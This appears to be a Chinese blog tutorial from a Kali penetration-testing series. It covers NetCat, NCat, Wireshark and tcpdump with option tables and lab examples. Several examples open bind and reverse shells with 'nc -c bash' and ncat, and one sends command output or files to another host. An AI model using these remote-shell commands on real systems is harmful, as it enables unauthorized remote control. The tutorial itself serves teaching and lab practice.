《Kali渗透基础》02. 基本工具
@
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。
本文以 kali-linux-2022.3-vmware-amd64 为例。
1:基本工具
1.1:NetCat
NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。
功能描述:
- 网络工具中的瑞士军刀
- 侦听模式/传输模式
- 传输文本信息
- 传输文件/目录
- 远程控制/木马
- 流媒体服务器
- 远程克隆硬盘
NC 缺乏加密和身份验证的能力
不同系统或平台的 NetCat 命令不尽相同。
1.1.1:命令参数
基本语法:
nc [选项]
常用选项:
参数 | 说明 | 例 |
---|---|---|
-h |
显示帮助信息和参数选项。 | nc -h |
-l |
监听模式,等待连接请求到达指定的端口。 | nc -l 5555 详见示例01 |
-p 端口 |
指定要使用的端口号。 | |
-v |
显示详细的输出信息。 | nc -v baidu.com 80 |
-n |
使用 IP 地址时不进行 DNS 反向解析。 | nc -n 1.1.1.20 5555 |
-q 数字 |
指定连接建立或数据传输时的等待时间(单位:秒)。 | 详见示例02 |
-z |
端口扫描,默认使用 TCP 协议,无需建立实际连接。可指定端口范围。 | |
-u |
指定使用 UDP 协议进行数据传输。 | |
-c 命令或shell |
执行命令。可用于远程控制。 | 详见示例06、07 |
常用组合:
参数组合 | 说明 | 例 |
---|---|---|
-nv |
主要用于建立连接 | nc -nv 1.1.1.20 3333 |
-nvz |
TCP 端口扫描 | nc -nvz 1.1.1.20 1-65535 |
-nvzu |
UDP 端口扫描 | nc -nvzu 1.1.1.20 1-1024 |
1.1.2:示例
- 示例01:⽂本信息传输。
操作:
先在一台主机上开启端口监听,再使用另一台主机连接。即可通信。
一、ubuntu(1.1.1.20):
nc -l [-p] 3333
二、kali(1.1.1.10):
nc -nv 1.1.1.20 3333
结果:
- 示例02:监听信息并保存。
操作:
一、kali(1.1.1.10):
nc -l [-p] 3333 > ps.txt
二、ubuntu(1.1.1.20):
ps aux | nc -nv 1.1.1.10 3333 -q 1
结果:
在 ubuntu 执行 ps aux
的结果会被保存在 kali 上的 ps.txt 。且完成后一秒自动断开连接。
- 示例03:主动传输文件。
操作:
一、kali(1.1.1.10):
nc -l 3333 > 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 < 2.txt -q 1
结果:
ubuntu 上的 2.txt 文件传输到 kali 并被保存为 1.txt 。
- 示例04:被动接收文件。
操作:
一、kali(1.1.1.10):
nc -q 1 -l 3333 < 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 > 2.txt
结果:
kali 上的 1.txt 文件被 ubuntu 接收并被保存为 2.txt 。
- 示例05:目录传输。
操作:
一、ubuntu(1.1.1.20):
tar -cvf - /test/ | nc -lp 3333 -q 1
二、kali(1.1.1.10):
nc -nv 1.1.1.20 333 | tar -xvf -
结果:
ubuntu 上的 /test/ 目录传输到 kali 上。
- 示例06:远程控制(被动连接)。
操作:
一、ubuntu(1.1.1.20):
nc -lp 3333 -c bash
二、kali(1.1.1.10):
nc 1.1.1.20 3333
结果:
ubuntu 被 kali 连接,kali 可远程执行 linux 命令。
注:Windows 用户可以把 bash 改成 cmd 。
- 示例07:远程控制(主动连接)。
操作:
一、kali(1.1.1.10):
nc -lp 3333
二、ubuntu(1.1.1.20):
nc 1.1.1.10 3333 -c bash
结果:
ubuntu 主动连接 kali,kali 可远程执行 linux 命令。
1.2:NCat
NCat是 Nmap 网络扫描器项目的一部分。可以视为 NetCat 工具的加强版。许多命令都与 NetCat 一致。
功能描述:
- 支持 SSL 和 TLS 加密协议。
- 支持身份验证,包括基于用户名和密码的身份验证。
1.2.1:命令参数
基本语法:
ncat [选项]
常用选项:
NCat许多命令都与 NetCat 一致。这里只列出特别的参数。
参数 | 说明 | 例 |
---|---|---|
--allow |
访问控制。限制允许连接的 IP 地址范围。 | 详见示例01 |
--ssl |
使用SSL/TLS加密连接。 | 详见示例01 |
1.2.2:示例
- 示例01:
操作:
一、ubuntu(1.1.1.20):
ncat -c bash --allow 1.1.1.10 -vnl 3333 --ssl
二、kali(1.1.1.10):
ncat -nv 1.1.1.20 3333 --ssl
结果:
ubuntu 允许来自 IP 地址为 1.1.1.10 的主机连接。连接建立后执行 Bash 命令,并使用 SSL/TLS 加密进行连接。
1.3:WireShark
WireShark 是一款开源抓包软件,常用来检测网络问题、攻击溯源、或者分析底层通信机制(抓包嗅探、协议分析。)
基本使用方法:
这里只介绍大致过程。具体细节网络教学很多。
- 启动
- 选择抓包网卡
- 实时抓包
- 保存或分析捕获文件
- 首选项配置(添加展示信息,调整喜好的展示格式等)
筛选器:
用于过滤数据包。
- 抓包筛选器
- 显示筛选器
常见协议包:
需要熟悉常见协议数据包的分层结构。
数据流:
有时一个请求涉及多个包,一个一个查看很麻烦。这时追踪数据流可以方便查看涉及到的数据包信息。(追踪流)
信息统计:
WireShark 提供了一些信息统计功能。
- 节点数
- 协议分布
- 包大小分布
- 会话连接
- 解码方式
- 专家系统
1.4:TCPdump
TCPdump 是一款命令行抓包分析工具。Linux、Unix 系统默认安装。
1.4.1:命令参数
基本语法:
tcpdump [选项]
常用选项:
参数 | 说明 | 例 |
---|---|---|
-i 网络接口 |
指定要监听的网络接口。 | tcpdump -i eth0 详见示例01 |
-s 数字 |
指定捕获数据包的最大长度(单位:字节。0 表示抓取所有)。默认为 64。 | tcpdump -s 100 详见示例02 |
-w 文件 |
将捕获的数据包写入文件。 | tcpdump -w test.pcap 详见示例02 |
-r 文件 |
从文件中读取数据包进行分析。 | tcpdump -r test.pcap 详见示例05、06、07 |
-A |
以 ASCII 形式显示数据包内容。 | |
-X |
以十六进制和 ASCII 形式显示数据包内容。 | 详见示例06 |
-v[v][v] |
显示详细信息,“ v ” 越多越详细。 | |
-n |
显示 IP 地址和端口号,不进行 DNS 解析。 | 详见示例05、06 |
src host ip地址 |
过滤条件。指定源主机。 | 详见示例04、05 |
dst host ip地址 |
过滤条件。指定目的主机。 | |
port 端口 |
过滤条件。指定端口。 | 详见示例06、07 |
tcp |
过滤条件。指定 TCP 协议。 | tcpdump tcp 详见示例07 |
udp |
过滤条件。指定 UDP 协议。 |
过滤条件可用 “ or ” 和 “ and ” 连接。
除了以上基础筛选过滤条件之外,TCPdump 还提供了高级筛选:
示例:
tcpdump -A -n 'tcp[13] = 24' -r http.cap
1.4.2:示例
- 示例01:开启抓包
操作:
tcpdump -i eth0
结果:
- 示例02:抓取数据包所有内容,并保存在 test.pcap 文件
tcpdump -i eth0 -s 0 -w test.pcap
- 示例03:查看抓包文件摘要信息
tcpdump -r test.pcap
- 示例04:抓取指定源地址的数据包
tcpdump src host 192.168.0.1 or src host 192.168.0.2
- 示例05:查看抓包文件中指定源地址的信息。
tcpdump -n src host 145.254.160.237 -r test.pcap
- 示例06:查看抓包文件中指定端口的信息,并以十六进制和 ASCII 形式显示数据包内容。
tcpdump -nX port 53 -r test.pcap
- 示例07:查看抓包文件中指定 tcp 端口的信息。
tcpdump tcp port 53 -r test.pcap
2:其他
渗透测试中有时需要团队资源共享,因此需要一些软件来协助团队合作。
包括但不限于以下两点:
- 数据文件共享
可以选择合适的软件以便于交换已获得的信息。
- 重要数据加密
选择合适的软件对重要的数据文件(如获得的漏洞信息等)加密存储。以免泄露造成损失。
落花有意随流水,流水无心恋落花。
——《警世通言》(明)冯梦龙
《Kali渗透基础》02. 基本工具的更多相关文章
- kali渗透-基础篇
渗透之meterpreter 模拟场景:小明是我室友,整天游戏人生,浑浑噩噩,前途迷茫,每次上课交作业都要看我的,于是我开启了apche服务器,给他下载作业(别问我为什么不用QQ传,因为要装逼!),他 ...
- Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
- Kali Linux渗透基础知识整理(二)漏洞扫描
Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...
- 小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具
后渗透测试阶段--上传工具 为防止管理员将漏洞补上后,我们无法再通过该漏洞控制对方主机,所以需要进行后渗透测试阶段 1.上传各种工具 2.提权:为了全面控制目标系统 3.擦除攻击痕迹:防止管理员通过日 ...
- kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail
kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...
- 基础认证伪造工具phishery
基础认证伪造工具phishery 基础认证(Basic Authentication)被广泛应用内部网站.路由器等Web应用中.用户必须填写对应的用户名.密码才能访问Web资源.Kali Linu ...
- 渗透脚本快速生成工具Intersect
渗透脚本快速生成工具Intersect 当渗透人员获取目标系统的执行权限,往往需要编写相应的脚本,实现更多的渗透操作.Kali Linux提供一款Python脚本快速生成工具Intersect.该 ...
- kali渗透综合靶机(一)--Lazysysadmin靶机
kali渗透综合靶机(一)--Lazysysadmin靶机 Lazysysadmin靶机百度云下载链接:https://pan.baidu.com/s/1pTg38wf3oWQlKNUaT-s7qQ提 ...
- kali渗透综合靶机(十八)--FourAndSix2靶机
kali渗透综合靶机(十八)--FourAndSix2靶机 靶机下载地址:https://download.vulnhub.com/fourandsix/FourAndSix2.ova 一.主机发现 ...
- kali渗透综合靶机(十五)--Breach-1.0靶机
kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...
随机推荐
- 汉字编码新尝试:字理组字编码方案v0.0
↑对,这就是正片↑(同步自敝知乎专栏,不定期更新) 高清(确信)版:http://farter.cn/zzdm/latest.png 不用任何教程,试试对着表解码一下: 43 295 817 146 ...
- Python竖版大屏 | 用pyecharts开发可视化的奇妙探索!
你好!我是@马哥python说,一枚10年程序猿,正在试错用pyecharts开发可视化大屏的非常规排版. 以下,我用8种ThemeType展示的同一个可视化数据大屏. 1.SHINE主题 2.LI ...
- 柏林噪声&幻想大陆地图生成
序言 之前介绍过perlin噪声的实现,现在应用实践一下--程序化生成幻想大陆 这里使用的是perlin噪声倍频技术(也称分形噪声),详情传送门:柏林噪声算法 代码示例使用的是shadertoy的语法 ...
- EndNote参考文献格式Output Styles界面介绍
本文对EndNote软件修改论文参考文献引用格式的界面与各选项参数加以详细介绍. 利用EndNote软件进行论文参考文献的插入可以说是非常方便:但其亦具有一个问题,就是对中文文献的支持不太友好 ...
- windows服务启动时提示找不到指定路径的问题
我是自己写了一个windows服务,并且在之前一直运行良好,上周四晚上之后,竟然莫名其妙的停止了,我登上远程服务器,才发现,该服务已经停止,当我手动打开该服务时,提示我如下错误,找不到指定路径:. 一 ...
- 【HarmonyOS】一文教你如何在H5页面中使用电话、定位及导航
[关键字] HarmonyOS.H5页面.拨打电话.获取系统定位.跳转高德地图导航 [1.写在前面] 上一篇中我们带领大家实现了一个在低码项目中跳转加载H5页面的功能,有兴趣的可以参考以下文章: h ...
- RabbitMQ快速使用代码手册
本篇博客的内容为RabbitMQ在开发过程中的快速上手使用,侧重于代码部分,几乎没有相关概念的介绍,相关概念请参考以下csdn博客,两篇都是我找的精华帖,供大家学习.本篇博客也持续更新~~~ 内容代码 ...
- js如何操作video标签
一.简介 在做web ui自动化时,遇到操作视频的时候有时比较让人头疼,定位时会发现只有一个<video>标签,用selenium来实现的话比较麻烦,使用js后我们只需定位到video标签 ...
- 3. AOP
1. 代理模式 1.1 概念 ① 介绍 二十三种设计模式中的一种,属于结构型模式.它的作用就是通过提供一个代理类,让我们在调用目标方法的时候,不再是直接对目标方法进行调用,而是通过代理类间接调用.让不 ...
- Flutter ncnn 使用
Flutter 实现手机端 App,如果想利用 AI 模型添加新颖的功能,那么 ncnn 就是一种可考虑的手机端推理模型的框架. 本文即是 Flutter 上使用 ncnn 做模型推理的实践分享.有如 ...